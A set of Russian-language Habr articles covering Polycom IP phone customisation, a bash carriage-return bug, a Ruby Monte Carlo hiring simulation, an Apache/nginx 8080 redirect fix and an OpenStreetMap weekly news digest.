Если у вас где-то в углу неприкаянно грустит телефон компании Polycom – не спешите от него избавляться! Он еще сможет вам послужить. По крайней мере ковыряние с ним может доставить массу удовольствия. Все нижеописанное тестировалось на устаревшей модели Polycom SoundPoint IP 450(от 1500 рублей за БУ на ebay), но также подходит и для большинства более современных моделей т.к. все они работают под управлением одной и той-же операционной системы – [UC](https://support.polycom.com/content/support/cala/cala/en/support/voice/polycom-uc/polycom-uc-software-release.html).
Да, именно так и вы не ослышались – даже древний офисный телефон работает под управлением проприетарной ОС.
Итак, что-же полезного и интересного можно сделать с телефоном Polycom в домашних условиях:
* Вывод полезной информации на экран телефона и использование внутреннего браузера
* SIP телефония & Lync integration(Skype for Business) – для SIP моделей
* Интеграция с Google Chrome – набор номера через расширение для google chrome
* Кастомизация UI телефона
* Интеграция с LDAP и AD и использование телефонных книг
*
Итак, обо все по прядку.
Встроенный браузер
------------------
Большинство моделей телефонов polycom оснащены тем или иным экранчиком, а прошивка поддерживает xhtml-браузер. У браузера есть 2 режима работы: idle – отображается контент во время ожидания и active – отображается контент во время использования телефона.
Телефон поддерживает только самые базовые html-теги, а также несколько собственных тегов для управления навигацией:
`[Taxi](Tel://89264341830)|`
`[Суши](Tel://89652991881)|`
`[Пицца](Tel://84965246699)|`
`[DNDSettings](Key:DoNotDisturb)`
Современные модели телефонов имеют [расширенную поддержку HTML и даже умеют работать с Javascript](https://support.polycom.com/content/dam/polycom-support/products/voice/soundstructure/setup-maintenance/en/web-applications-developer-guide-5-0.pdf). Используя встроенный браузер телефона довольно легко каcтомизировать UI/UX под свои предпочтения. В моем случае - это [отображение прогноза погоды на основе Yandex Weather API](https://github.com/ikanel/polycom-weather) и несколько статических страниц с наиболее часто используемыми телефонами.
Вместо погоды можно выводить последние новости, курсы валют, биржевые индексы и т.д. В моем случае страницы размещены на raspberry PI в домашней сети, но никто не мешает их разместить на любом бесплатном сервисе.
Самый простой способ настроить работу внутреннего браузера – это зайти на внутренний сайт телефона (просто введите IP телефона и дефолтный пароль 456) и на вкладке Settings/Microbrowser вы найдете все необходимые настройки:
SIP
---
Если ваша модель поддерживает SIP протокол – вам открывается масса интересных возможностей.
Большинство телефонов может поддерживает несколько линий. Если у вас мегафон, то на одну линию можно завести номер мобильного телефона, предварительно подключив бесплатную услугу мультифон и переадресацию звонков на телефон и SIP как описано [здесь](https://moscow.megafon.ru/corporate/help/faq/services/mfon_biznes/kak-pol-zovat-sia/priem_vhodjashhih_vyzovov_limit_soedinitelnyh_linij_klientskoe_api).
Используя тариф без абонентской связи – вы получаете условно-бесплатный домашний телефон.
На второй линии у меня заведен мой личный номер мобильного телефона, который используется для исходящих звонков или для приема входящих звонков в случае проблем с сотовым покрытием. Ну а на третью линию можно подключить международного SIP провайдера и иметь за доллар или два [номер в США](https://www.callcentric.com/products/) или любой другой стране. Это позволит сэкономить колоссальные деньги на международных звонках. Настройку можно осуществить как через упоминаемый ранее внутренний сайт телефона, так и через прямое редактирование файла конфигурации телефона.
Чтобы выгрузить файл конфигурации зайдите в Utilities/Import-Export configuration в раздел Export.
Выгруженный файл конфигурации содержит все настройки телефона кроме паролей!
Информацию о содержимом файла конфигурации можно найти [здесь](https://documents.polycom.com/bundle/rpgs-ag-6-1-5/page/t_rpgs_ag_configure_sip_settings.html).
В качестве альтернативы можно использовать свободную линию для подключение к [Microsoft Lync серверу для интеграции со Skype For Busines](https://support.polycom.com/content/dam/polycom-support/products/voice/business-media-phones/downloads/previous-versions/archived-documents/en/uc-lync-server-deployment-guide.pdf)s.
Интеграция с браузером Chrome
-----------------------------
Пожалуй основной причиной по которой стационарные телефоны стоят без дела является их крайне неудобная интеграция с телефонными книгами, браузером и поисковиками. В рамках офиса есть возможность подключить к телефон к AD, но искать нужный контакт в телефоне – это та еще боль.
Конечно для домашнего использования можно организовать LDAP интеграцию с Google contacts или же загрузить список контактов используя [provisioning](https://community.polycom.com/t5/VoIP-SIP-Phones/FAQ-How-can-I-create-a-local-directory-or-what-is-the/td-p/8216), но основную проблему с ужасным UX это не исправляет.
Для решения этой проблемы я сделал небольшое расширение для Google chrome, которое позволяет выделить номер на любой страничке и стартовать звонок со стационарного телефона.
Телефоны Polycom поддерживают, так называемые, [интеграционные вызовы](https://polycom-moscow.ru/pdf/DevelopersGuide_UCS3_3_1.pdf), когда отправив POST запрос извне на телефон можно заставить его выполнить то или иное действие: Позвонить на указанный номер, перейти в режим «Не беспокоить», включить переадресацию, вывести сообщения на экран и т.д. и т.п.
К примеру такой запрос эмулирует нажатие кнопки Status на телефоне:
`curl --digest -u Push:Push -d "Key:Status" --header "Content-Type: application/x-com-polycom-spipx" -v http://192.168.0.226/push`
А такой стартует звонок по указанному номеру на линии 1.:
`curl --digest -u Push:Push -d "tel:\\2222222;Line1 " --header "Content-Type: application/x-com-polycom-spipx" -v http://192.168.0.226/push`
Соответственно – все что требуется реализовать в расширении – решить нетривиальный вопрос Digest аутентификации в JS, прочитать выделенный текст по вызову из контекстного меню и отправить Post запрос в телефон.
Предварительно необходимо разрешить интеграционные вызовы в телефоне. Зайдите в раздел Settings/Applications/Push и выберите All в разделе Allow Push Message и не забудьте указать логин и пароль для авторизации вызовов. Без этого работать не будет.
В работе это примерно так:
Исходники расширения [здесь](https://github.com/ikanel/PolycomChromeCaller%20) а само раширение ищите в Google Chrome Extension Store.
Настройка UI телефона
---------------------
UI Телефона поддается некоторой кастомизации. Кроме замены фона(на ЧБ экране это все равно выглядит ужасно) и отображения web- страниц во встроенном браузере -можно переназначать действие кнопок навигации, предварительно разрешив их переопределение с помощью этих ключей в конфигурации телефона.
`feature.enhancedFeatureKeys.enabled="1"`
`feature.EFKLineKey.enabled="1"`
Несколько примеров подобного переопределения:
*Открытие странички с погодой во внутреннем браузере телефона:*
`softkey.1.action="http://192.168.0.228:88"`
`softkey.1.enable="1"`
`softkey.1.label="Инфо"`
`softkey.1.use.idle="1"`
Переход в режим DoNotDesturb
`softkey.1.action="Key:DoNotDisturb"`
`softkey.1.enable="1"`
`softkey.1.label="DnD"`
`softkey.1.use.idle="1"`
*Вызов 1-го контакта из списка быстрого набора*
`softkey.3.action="$S1$"`
`softkey.3.enable="1"`
`softkey.3.label="Такси"`
`softkey.3.use.idle="1"`
Более подробную информацию о переназначении софтверных кнопок можно подчерпнуть здесь.
Телефон также поддерживает т.н. push сообщения, когда он сбрасывает на указанный адрес сообщения для выбранных событий, но практического применения данной функциональности в домашних условиях я не нашёл. | https://habr.com/ru/post/529128/ | null | ru | null |
# Почему не работал bash-скрипт или про возврат каретки
Я писал свой конфигурационный файл для Conky. Захотел сделать вывод доллара и евро по отношению к рублю и посчитать динамику курсов. Задача не сложная, поэтому я быстро написал bash-скрипт. Курсы валют решил взять с сайта [ЦБРФ](http://www.cbr.ru/).
Скрипт получился такой:
```
#!/bin/bash
now=`date +%d/%m/%Y`
onedayago=`date --date="1 day ago" +%d/%m/%Y`
twodayago=`date --date="2 day ago" +%d/%m/%Y`
wget -O now.tmp -q "http://www.cbr.ru/scripts/XML_daily.asp?date_req=$now"
wget -O onedayago.tmp -q "http://www.cbr.ru/scripts/XML_daily.asp?date_req=$onedayago"
wget -O twodayago.tmp -q "http://www.cbr.ru/scripts/XML_daily.asp?date_req=$twodayago"
nowk=`cat now.tmp | grep "USD" -A3 | sed -n -e 4p | tr -d "A-Za-z<>/\t'" | sed -e s/\,/\./`
onedayagok=`cat onedayago.tmp | grep "USD" -A3 | sed -n -e 4p | tr -d "A-Za-z<>/\t" | sed -e s/\,/\./`
twodayagok=`cat twodayago.tmp | grep "USD" -A3 |sed -n -e 4p | tr -d "A-Za-z<>/\t" `
dinamika=`echo $onedayagok-$nowk | bc`
echo $dinamika
```
Однако при запуске скрипта я получал сообщение об ошибке:
**(standard\_in) 1: illegal character: ^M
(standard\_in) 1: illegal character: ^M**
В чём же дело? Решил посмотреть переменные отдельно. Добавил две строки:
```
echo $nowk
echo $onedayagok
```
Вывод переменных был корректным:
Может быть, ошибка в строке
```
echo $onedayagok-$nowk
```
? Добавим вывод этой строки командой
```
echo $onedayagok-$nowk
```
Вывелось только -58.7710. Куда же делось 59.4452? Вот тут и возникли трудности. Решил я сделать запись вывод результата операции в файл, добавили >1.txt и >2.txt после обработки данных, то есть получилось так:
```
nowk=`cat now.tmp | grep "USD" -A3 | sed -n -e 4p | tr -d "A-Za-z<>/\t" | sed -e s/\,/\./ >1.txt`
onedayagok=`cat onedayago.tmp | grep "USD" -A3 | sed -n -e 4p | tr -d "A-Za-z<>/\t" | sed -e s/\,/\./ >2.txt`
```
С виду всё было нормально, цифры успешно записались в файл.
Стал изучать довольно странную и неожиданную проблему дальше. Решил сам создать файл с таким же содержанием. С помощью текстового редактора nano создаём файл 3.txt и вписываем в него 59.4452. В файл 4.txt вписываем 58.7710. В скрипт добавляем чтение из файла, то есть:
```
nowk=`cat 3.txt`
onedayagok=`cat 4.txt`
```
Всё работало. Cтало очевидно, что проблема в полученных данных. Надо было просто проанализировать файлы 2.txt и 3.txt. Далее открываем оба файла hex-редактором и находим ту самую разницу:
Файлы почти идентичны, однако в файле 2.txt присутствует 0D. С помощью поисковой системы находим, что OD — «перевод каретки». То есть при команде echo $onedayagok-$nowk сначала выводилось значение переменной onedayagok, далее же с начала строки в этой же строке выводилась переменная nowk, то есть перекрывая прежнюю переменную. С помощью той же поисковой системы узнаём, что для удаления «картеки» добавляем '\r' в утилиту tr, то есть так:
```
nowk=`cat now.tmp | grep "USD" -A3 | sed -n -e 4p | tr -d "A-Za-z<>/\t'\r'" | sed -e s/\,/\./`
onedayagok=`cat onedayago.tmp | grep "USD" -A3 | sed -n -e 4p | tr -d "A-Za-z<>/\t'\r" | sed -e s/\,/\./`
twodayagok=`cat twodayago.tmp | grep "USD" -A3 |sed -n -e 4p | tr -d "A-Za-z<>/\t'\r'" ``
```
Убеждаемся, что скрипт теперь работает. ЦБР возвращает данный с «переводом каретки». В этом и была проблема. К сожалению, о таких нюансах не рассказывают в учебниках и статьях по bash, поэтому могут возникнуть такие трудности. | https://habr.com/ru/post/254123/ | null | ru | null |
# Как нанять лучших инженеров не убив при этом себя
[Garena](http://www.garena.com/ "Garena"), в которой я сейчас работаю, находится в процессе роста и я занимаюсь наймом инженеров, сисадминов и подобного персонала, чтобы удовлетворить аппетиты растущей платформы и выдержать планы и сроки выпуска продуктов. Проблема, с которой я постоянно сталкиваюсь, заключается в том, что не только одна наша компании занимается поиском и наймом инженеров. Это особенно актуально сейчас, когда многие компании опубликовали свои ежегодные бонусы (или отсутствие оных) и неудовлетворённые рядовые сотрудники компаний пополняют ряды соискателей. Иными словами, собираются в кучу музыкальные стулья с компаниями и инженерами.
*«музыкальные стулья» (детская игра; под музыку дети ходят вокруг ряда стульев; когда музыка прекращается, играющие бросаются занимать стулья, которых на один меньше, чем играющих)*
Нечего и говорить, что это является причиной определенных сложностей с наймом. Отрадно, что есть много кандидатов. Однако обратной стороной данного факта является проблема сохранения высоко квалифицированного инженера с адекватным складом ума в рамках растущего cтартапа. В то же время подбор и утверждение кандидата должны быть быстрыми, так как промедление, даже с частично подходящим кандидатом, чревато его потерей в течение одного-двух дней.
Это заставляет меня задаться вопросом — каким путем лучше пойти при наличии большого списка кандидатов и, в итоге, выбрать лучшего инженера или, во всяком случае, того, кто входит в число лучших этого списка.
В книге [Why Flip a Coin: The Art and Science of Good Decisions](http://www.ozon.ru/context/detail/id/1763534/ "Ozon"), H.W. Lewis писал об аналогичной (хотя и более строгой) проблеме, связанной со знакомством. Вместо выбора кандидатов в книге рассказано о выборе жены, а вместо проведения интервью, рассмотрена проблема знакомства. Однако, в отличии от книги, где предполагается что Вы можете встречаться только с одним человеком за раз, в моей ситуации я, очевидно, могу проинтервьюировать более чем одного кандидата. Тем не менее, возникающие проблемы в значительной степени неизменны, если я буду интервьюировать слишком много кандидатов и потрачу слишком много времени на принятие решения, то они будут перехвачены другими компаниями. Не говоря уже о том, что я, вероятно, ещё до того умру с пеной у рта от передозировки общения.
В книге Льюис предложил следующую стратегию — скажем, мы выбираем из списка состоящего из 20 кандидатов. Вместо того, чтобы интервьюировать каждого, мы случайным образом выбираем и интервьюируем 4х кандидатов и выбираем лучшего из этого списка-образца. Теперь, имея в запасе этого лучшего из этих 4х кандидатов, мы интервьюируем остальную часть списка по одному до тех пор, пока мы не встретим кого-либо лучшего и, в итоге, нанимаем этого кандидата.
Как вы догадались, эта стратегия является вероятностной и не гарантирует выбор наилучшего кандидата. В самом деле, есть 2 наихудших варианта развития событий. Во-первых, если мы случайно выбрали 4х худших кандидатов в качестве списка-образца и первый кандидат, выбранный из остальной части списка, будет 5 м худшим, то мы наймем 5 го худшего кандидата. Не хорошо. И наоборот, если самый лучший кандидат находится в списке-образце, то мы рискуем провести 20 интервью, а затем потерять этого лучшего кандидата, поскольку весь процесс занял слишком много времени. Снова плохо.
Итак, хорошая ли это стратегия? Кроме того, какая оптимальная численность списка (общее число кандидатов) и списка-образца нам необходима для того, чтобы извлечь максимальную пользу из этой стратегии? Давайте будем хорошими инженерами и воспользуемся моделированием методом Монте-Карло, чтобы найти ответ.
Давайте начнем с численности списка в 20 кандидатов, а затем переберем численность списка-образца от 0 до 19. Для каждого списка-образца мы находим вероятность того, что кандидат, которого мы выбираем, является лучшим кандидатом в списке. На самом деле мы уже знаем эту вероятность, если список-образец равен 0 или 19. В случае если список-образец равен 0, будет выбран первый кандидат, которого мы интервьюируем (поскольку не с кем сравнивать), поэтому вероятность равна 1/20, и составляет 5%. Аналогичным образом со списком-образцом равным 19, нам придется выбрать последнего кандидат и вероятность этого также равна 1/20 и составляет 5%.
Вот Ruby код моделирующий это. Прогоним моделирование 100,000 раз, чтобы рассчитать вероятность как можно более точно, и сохраняем результат в CSV файл optimal.csv
> `1.
> 2. **require** 'rubygems'
> 3. **require** 'faster\_csv'
> 4.
> 5. population\_size = 20
> 6. sample\_size = 0..population\_size**-**1
> 7. iteration\_size = 100000
> 8. FasterCSV.**open****(**'optimal.csv', 'w'**)** **do** **|**csv**|**
> 9. sample\_size.each **do** **|**size**|**
> 10. is\_best\_choice\_count = 0
> 11. iteration\_size.times **do**
> 12. *# создаем список и сортируем случайным образом*
> 13. population = **(**0..population\_size**-**1**)**.to\_a.sort\_by **{****rand****}**
> 14. *# получаем список-образец*
> 15. sample = population.slice**(**0..size**-**1**)**
> 16. rest\_of\_population = population**[**size..population\_size**-**1**]**
> 17. *# это лучший из списка-образца?*
> 18. best\_sample = sample.sort.last
> 19. *# находим наилучшего выбранного этой стратегией*
> 20. best\_next = rest\_of\_population.find **{****|**i**|** i **>** best\_sample**}**
> 21. best\_population = population.sort.last
> 22. *# наилучший ли это выбор? считаем сколько раз этот выбор наилучший*
> 23. is\_best\_choice\_count **+**= 1 **if** best\_next == best\_population
> 24. **end**
> 25. best\_probability = is\_best\_choice\_count.to\_f**/**iteration\_size.to\_f
> 26. csv **<<** **[**size, best\_probability**]**
> 27. **end**
> 28. **end**
> 29.`
Код достаточно самоочевидный (особенно со всеми комментариями), поэтому я не буду вдаваться в подробности. Результат показан ниже на линейном графике, после открытия и разметки файла в MS Excel. Как вы можете видеть, если вы выберите 4 кандидатов в качестве списка-образца, вы будете иметь примерно 1 шанс из 3, что вы выбираете наилучшего кандидата. Лучшие шансы, если выбрать 7 кандидатов в качестве списка-образца. В этом случае вероятность того, что вы выберете наилучшего кандидата около 38,5%. Выглядит не очень хорошо.
Но, честно говоря, в случае нескольких кандидатов мне не нужно, что бы кандидат был «наилучший» (во всяком случае, такие оценки носят субъективный характер). Допустим, я хочу получить кандидата находящегося в верхней четверти списка (верхние 25%). Каковы мои шансы тогда?
Вот пересмотренный код, который моделирует это.
> `1.
> 2. **require** 'rubygems'
> 3. **require** 'faster\_csv'
> 4.
> 5. population\_size = 20
> 6. sample\_size = 0..population\_size**-**1
> 7. iteration\_size = 100000
> 8. top = **(**population\_size**-**5**)**..**(**population\_size**-**1**)**
> 9. FasterCSV.**open****(**'optimal.csv', 'w'**)** **do** **|**csv**|**
> 10. sample\_size.each **do** **|**size**|**
> 11. is\_best\_choice\_count = 0
> 12. is\_top\_choice\_count = 0
> 13. iteration\_size.times **do**
> 14. population = **(**0..population\_size**-**1**)**.to\_a.sort\_by **{****rand****}**
> 15. sample = population.slice**(**0..size**-**1**)**
> 16. rest\_of\_population = population**[**size..population\_size**-**1**]**
> 17. best\_sample = sample.sort.last
> 18. best\_next = rest\_of\_population.find **{****|**i**|** i **>** best\_sample**}**
> 19. best\_population = population.sort.last
> 20. top\_population = population.sort**[**top**]**
> 21. is\_best\_choice\_count **+**= 1 **if** best\_next == best\_population
> 22. is\_top\_choice\_count **+**= 1 **if** top\_population.**include**? best\_next
> 23. **end**
> 24. best\_probability = is\_best\_choice\_count.to\_f**/**iteration\_size.to\_f
> 25. top\_probability = is\_top\_choice\_count.to\_f**/**iteration\_size.to\_f
> 26. csv **<<** **[**size, best\_probability, top\_probability**]**
> 27. **end**
> 28. **end**
> 29.`
В файле Optimal.csv мы добавили новую колонку, которая содержит верхнюю четверть (top 25%) кандидатов. Ниже показан новый график. Для сравнения добавлены результаты предыдущего моделирования.
Теперь результат обнадеживает, наиболее оптимальный размер списка-образца составляет 4 (хотя для практических целей и 3 достаточно хорошо, так как разница между 3 и 4 мала). В этом случае вероятность выбора кандидата из верхней четверти списка устремляется к 72,7%. Великолепно!
Теперь разберемся с 20 кандидатами. Как насчет списка с большим количеством кандидатов? Как эта стратегия выдержит, скажем, список, содержащий 100 кандидатов?
Как вы видите, эта стратегия не подходит для определения наилучшего кандидата из большого списка (список-образец слишком велик, а вероятность успеха слишком низка). Этот результат хуже, чем полученный нами для списка с меньшей численностью. Однако, если нас устроит кандидат из верхней четверти списка (т.е. будем менее требовательны), нам достаточно 7 кандидатов в списке-образце, при этом вероятность достижения необходимых результатов составит 90.63%. Это изумительные шансы!
Это значит, если вы менеджер по найму с сотней кандидатов, вам не нужно пытаться убить себя, интервьюируя каждого. Просто проинтервьюируйте список-образец из 7 кандидатов, выберите лучшего, а затем интервьюируйте остальных одного за другим, пока не встретите того, который лучше, чем лучший в списке-образце. Вероятность того, что вы выберите кого-либо из лучших 25% списка в 100 кандидатов составит 90.63% (и это, вероятно, будет тот, кто вам нужен)! | https://habr.com/ru/post/285334/ | null | ru | null |
# Решение проблемы с появлением 8080 порта в ISP manager (настройка редиректа на 80 порт)
Сегодня столкнулся с проблемой — обнаружилось, что по ошибке старого системного администратора, в одном очень редком случае у нас происходил редирект с обычного 80 порта на порт 8080.
Из-за этого в индекс яндекса попала целая куча страниц, имеющих адрес example.com:8080, потому что проблема существовала уже 3 года, а заметили ее только сейчас.
Проблема усугублялась тем, что сервер конфигурировался автоматически с помощью ISP manager, что привело к тому, что сайты были доступны как по адресу example.com, так и по example.com:8080, и с учетом того, что к серверу было привязано 5 ip-адресов и на нем крутилось около 20 сайтов, переконфигурировать все вручную чтобы сконфигурировать правильным способом апач и nginx (сделать, чтобы апач слушал только 127.0.0.1 и чтобы они висели на одном порту с nginx, а внешние адреса слушал только nginx) не представлялось возможным. **Проблеме потенциально подвержены все сайты, которые пользуются ISP manager**, поэтому я считаю ее достаточно актуальной, и решил опубликовтаь свое решение, чтобы все тоже проверили и исправили, если надо.
Соответственно стояла задача — «малой кровью» сделать:
1. чтобы сайт example.com корректно работал, но не открывался по адресу example.com:8080
2. чтобы с порта 8080 для одного определенного сайта шел редирект на 80 порт, чтобы сохранить работоспособность страниц, попавших в выдачу яндекса.
[Перейти сразу к ответу, без предыстории](#answer)
[Беглое гугление](http://yandex.ru/yandsearch?p=1&text=%D0%BA%D0%B0%D0%BA+%D1%81%D0%B4%D0%B5%D0%BB%D0%B0%D1%82%D1%8C+%D1%80%D0%B5%D0%B4%D0%B8%D1%80%D0%B5%D0%BA%D1%82+%D1%81+%D0%BF%D0%BE%D1%80%D1%82%D0%B0+8080+%D0%BD%D0%B0+80&clid=46511&lr=43) не показало ничего хорошего, большинство способов были аналогичны способу с iptables, предложенному [тут](http://habrahabr.ru/qa/451/#answer_1967):
```
iptables -A INPUT -p tcp -m tcp --dport 8080 -j REDIRECT --to-ports 80
```
Проблема в том, что этот способ не работает — dmesg выдает
```
ip_tables REDIRECT target: only valid in nat table, not filter.
```
После небольшого гугления нашел вариант в списке рассылки nginx-ru:
[www.lexa.ru/nginx-ru/msg21134.html](http://www.lexa.ru/nginx-ru/msg21134.html)
Вариант был такой — перевесить в apache.conf мой сайт с моего ip 11.22.33.44:8080 на 127.0.0.1:8080, в nginx.conf соответсвенно прописать proxy\_pass 127.0.0.1:8080 вместо 11.22.33.44:8080 для моего сайта, и потом добавить в конфиг nginx новый сервер
```
server {
listen 11.22.33.44:8080;
rewrite ^/(.*)$ http://$host:80/$1 redirect;
}
```
Вариант в принципе был похож на правду, но была одна проблема — апач упорно слушал порт 11.22.33.44:8080, и соответсвенно не давал nginx-у начать его слушать.
Тут меня осенило — можно просто взять, и реализовать такой же редирект, но средствами apache а не nginx.
Просто берем и добавляем в apache2.conf соответствующий VirtualHost:
```
ServerName example.com
Redirect 301 / http://example.com/
```
Попробовал — и вуаля, все заработало!
#### Решение проблемы
Таким образом, решение проблемы "**как сделать редирект с 8080 порта на 80**", при условии что у вас стоит debian, nginx, apache и все это настроено isp-менеджером для сайта example.com с ip 11.22.33.44, состоит из четырех простых шагов:
1. В конфиге Apache (/etc/apache2/apache2.conf) меняем все вхождения
```
Virtual Host 11.22.33.44:8080
```
на
```
VirtualHost 127.0.0.1:8080
```
2. Добавляем в конфиг Apache (/etc/apache2/apache2.conf) новый VirtualHost с редиректом:
```
ServerName example.com
Redirect 301 / http://example.com/
```
3. В конфиге nginx (/etc/nginx/nginx.conf) меняем все вхождения
```
proxy_pass http://11.22.33.44:8080
```
на
```
proxy_pass http://127.0.0.1:8080
```
4. перезапускаем apache, перезапускаем nginx
```
/etc/init.d/apache2 restart
/etc/init.d/nginx restart
``` | https://habr.com/ru/post/138999/ | null | ru | null |
# Новости из мира OpenStreetMap № 514 (19.05.2020-25.05.2020)
3Д-карта, на которой в режиме онлайн можно увидеть движение поездов в Токио. Автор — Акихико Кусанаги [1](#wn514_22547) | [Akihiko Kusanagi](https://nagix.github.io/) | map data OpenStreetMap contributors
Картографирование
-----------------
* Началось [голосование](https://lists.openstreetmap.org/pipermail/tagging/2020-May/052821.html) за [новый ключ](https://wiki.openstreetmap.org/wiki/Proposed_features/Lines_management) к тегам `line_management=*`, предложенный Франсуа Лакомба. Ключ предназначен для использования в сочетании с `power=line`, `power=minor_line` и `power=cable` для описания конкретных топологий подключения опор и других важных точках.
* Также [началось](https://lists.openstreetmap.org/pipermail/tagging/2020-May/052832.html) голосования за [теги](https://wiki.openstreetmap.org/wiki/Proposed_features/ElectricBicycles) `electric_bicycle=*` и `speed_pedelec=*`, предложенные Яном Мишелем для обозначения [доступа](https://wiki.openstreetmap.org/wiki/Key:access).
* Питер Элдерсон [предлагать](https://lists.openstreetmap.org/pipermail/tagging/2020-May/052726.html) [добавить](https://wiki.openstreetmap.org/wiki/Proposed_features/Recreational_route_relation_roles) конкретные роли для участников отношения рекреационного маршрута, а именно: альтернативный, экскурсионный, подход, связывающий и — возможно, наиболее часто используемая роль — главная. Приветствуются комментарии.
* Матеуш Конецкий с помощью специального [скрипта](https://wiki.openstreetmap.org/wiki/Mechanical_Edits/Mateusz_Konieczny_-_bot_account/remove_tracking_parameters) массово удалил (пока только более 1 тысячи) отслеживающие ссылки в базе данных OSM. См. [пример](https://www.openstreetmap.org/changeset/85465731) пакета правок.
* Паскаль Нейс [ввел](https://twitter.com/pascal_n/status/1263390214644469760?s=20t) дополнительный параметр, позволяющий извлекать самые старые записи из своей службы OSM Notes, которая передает отчеты об ошибках OSM в виде XML-канала. Однако следует отметить, что некоторые заметки OSM были перенесены из предшественника OpenStreetBugs и до сих пор открыты.
Сообщество
----------
* По словам Тобиаса Вреде, сайт help.openstreetmap.org, на котором можно задать вопросы и получить ответы по теме OSM, [умирает](https://lists.openstreetmap.org/pipermail/talk/2020-May/084700.html).
* Cтефан Келлер, профессор информационных систем Университета прикладных наук Рапперсвиля, уже начал [готовить](https://www.openstreetmap.org/user/Geonick/diary/393142) людей к выходу из режима изоляции, связанного с пандемией COVID-19, и подготовил список со ссылками на различные карты: от пещер и барбекю до карты общественного искусства. К сожалению, некоторые карты касаются только Швейцарии.
* OpenCage [побеседовал](https://blog.opencagedata.com/post/openstreetmap-in-bexhill-uk) с [Алексисом Марквиком](https://wiki.openstreetmap.org/wiki/User:DrMxy), разработчиком туристического сервиса [Bexhill-OSM](https://bexhill-osm.org.uk/?T=thennow#16/50.8404/0.4763), посвященного достопримечательностям и истории английского города Бексхилл-он-Си.
Импорты
-------
* Сообщество OSM в бразильском городе Форталезе [планирует](https://lists.openstreetmap.org/pipermail/imports/2020-May/006279.html) импортировать данные о зданиях, предоставленные местным муниципалитетом, а потому создало по этому поводу [страницу](https://wiki.openstreetmap.org/wiki/Fortaleza/PMF_Buildings_Import) в WikiOSM.
Фонд OpenStreetMap
------------------
* [Опубликован](https://wiki.osmfoundation.org/wiki/Board/Minutes/2020-04) протокол заседания Cовета Фонда OSM от 17 апреля 2020 года.
* Рабочая группа по данным (DWG) [опубликовала](https://wiki.osmfoundation.org/wiki/Data_Working_Group/DWG_Activity_Report_Q3_2019) отчет о своей деятельности за 3-й квартал 2019 года.
* Рабочая группа, занимающаяся организацией конференции «State of the Map», [просит](https://blog.openstreetmap.org/2020/05/21/state-of-the-map-2020-call-for-posters/) всех желающих присылать свои работы, связанные с OSM, для выставки постеров, которая в этом году пройдет в онлайн. Работы принимаются до 30 июня.
Образование
-----------
* Сергей Голубев [записал](https://t.me/geokefir/904) (ссылка ведет в Telegram) подкаст, в котором рассказывает, как использовать данные OSM.
Карты
-----
* [1] [minitokyo3d](https://minitokyo3d.com) — это 3Д-карта, на которой в режиме онлайн можно увидеть движение поездов в Токио. Визуализация выполнена [Акихико Кусанаги](https://nagix.github.io/). Исходный код доступен на [GitHub](https://github.com/nagix/mini-tokyo-3d).
Переходим на OSM
----------------
* Еще один пример использования OSM для эко-проектов — расчет [прогноза вони](http://klinmap.ru/von/) от мусорного полигона, расположенного возле города Клин (Московская область).
Открытые данные
---------------
* Сайт [OpenSpeedcam](http://openspeedcam.net/) [разрешил](https://www.openstreetmap.org/user/Silka123/diary/393114) использовать свои данные в OSM.
* DELFI, сеть сотрудничества федеральных земель Германии, федерального правительства и других партнеров, [опубликовала](https://www.opendata-oepnv.de/ht/de/organisation/delfi/startseite) набор данных, содержащий в себе информацию обо всех остановках общественного транспорта в Германии, в соответствии с лицензией Lex OSM.
Программное обеспечение
-----------------------
* 14-15 мая прошел хакатон Trufiaphackathon, организованный Ассоциацией Труфи. В своем блоге они разместили [видео](https://www.trufi-association.org/video-the-proof-of-concept-from-our-trufiapphackathon/), в котором рассказывается об их достижениях на данный момент.
* Егор Смирнов в [статье](https://habr.com/ru/post/502714/) на Хабре рассказал о том, как устроен и работает его визуальный загрузчик данных из OSM — [YourMaps](https://yourmaps.io/).
Программирование
----------------
* Пол Норман [рекомендует](https://github.com/openstreetmap/operations/issues/416) закрыть trac.openstreetmap.org и перенаправить пользователей на трекеры, предназначенные для конкретного проекта. Он также отметил, что есть только один активный проект, все еще использующий экземпляр trac в OSM. Он предлагает законсервировать SVN, благодаря связям между ним и trac.
* Пол Норман [создал](http://www.paulnorman.ca/blog/2020/05/openstreetmap-cartographic/) прототип сервиса, который осуществляет рендеринг карты на стороне клиента. В качестве основы взят картостиль OSM Carto. Код проекта выложен на [GitHub](https://github.com/pnorman/openstreetmap-cartographic).
Релизы
------
* Вышла [версия 1.0](https://www.graphhopper.com/blog/2020/05/25/graphhopper-routing-engine-1-0-released/) движка маршрутизации GraphHopper.
* Вышла новая версия [OsmAnd 3.7](https://osmand.net/blog/osmand-3-7-released) для Android. Среди наиболее важных изменений: новые оффлайн-карты уклонов, полная настройка стиля точек и GPX-треков, настраиваемое контекстное меню и другие опции для слоя карты Википедии.
* Для пользователей iOS тоже вышла новая версия [OsmAnd 3.14](https://osmand.net/blog/osmand-ios-3-14-released), в которую включили бета-версию навигации с учетом общественного транспорта. Помимо этого, добавлены новые оффлайн-карты уклонов, опции отображения линий и стрелок направления к активным маркерам, а также новая опция переключения между верхней панелью и виджетами для отображения расстояний до маркеров.
* Компания Mapbox [рассказала](https://blog.mapbox.com/whats-new-may-2020-612e45c2e779) в блоге об обновлениях, которые они внесли в своих продукты в мае 2020 года. Например, они добавили новые жесты для мобильных карт и улучшили SDK Vision. Помимо этого, в посте есть ссылки на ряд интересных учебных пособий.
Знаете ли вы …
--------------
* … что есть [видео](https://www.youtube.com/watch?v=JpHLulm-Wq4) выступления Аллана Мастарда (посол США в отставке, ныне — председатель Совета Фонда OSM) на банкете Североамериканского картографического информационного общества, которое называлось «Я устал теряться» или «Как открытая картография улучшила нашу жизнь в Туркменистане»?
* … о сервисе uMap, который позволяет создавать карты с различными слоями на базе OSM, а после встраивать ее на ваш сайт? О работе с ним можно [узнать](https://wiki.openstreetmap.org/wiki/UMap/Guide) на WikiOSM.
* … что портал [общественного транспорта](http://transport.orgp.spb.ru/) Санкт-Петербурга использует OSM?
* … о "[Карте городских деревьев](https://urbantrees.ru/)"? Это проект, который позволяет жителям и организациям добавлять городские деревья на карту, вносить и просматривать информацию и фотографии.
Другие «гео» события
--------------------
* В Forbes вышла [статья](https://www.forbes.com/sites/googlecloud/2020/05/20/how-the-world-became-data-driven-and-whats-next/#3e56564f57fc) под названием «Мир стал управляться данным. Что дальше?».
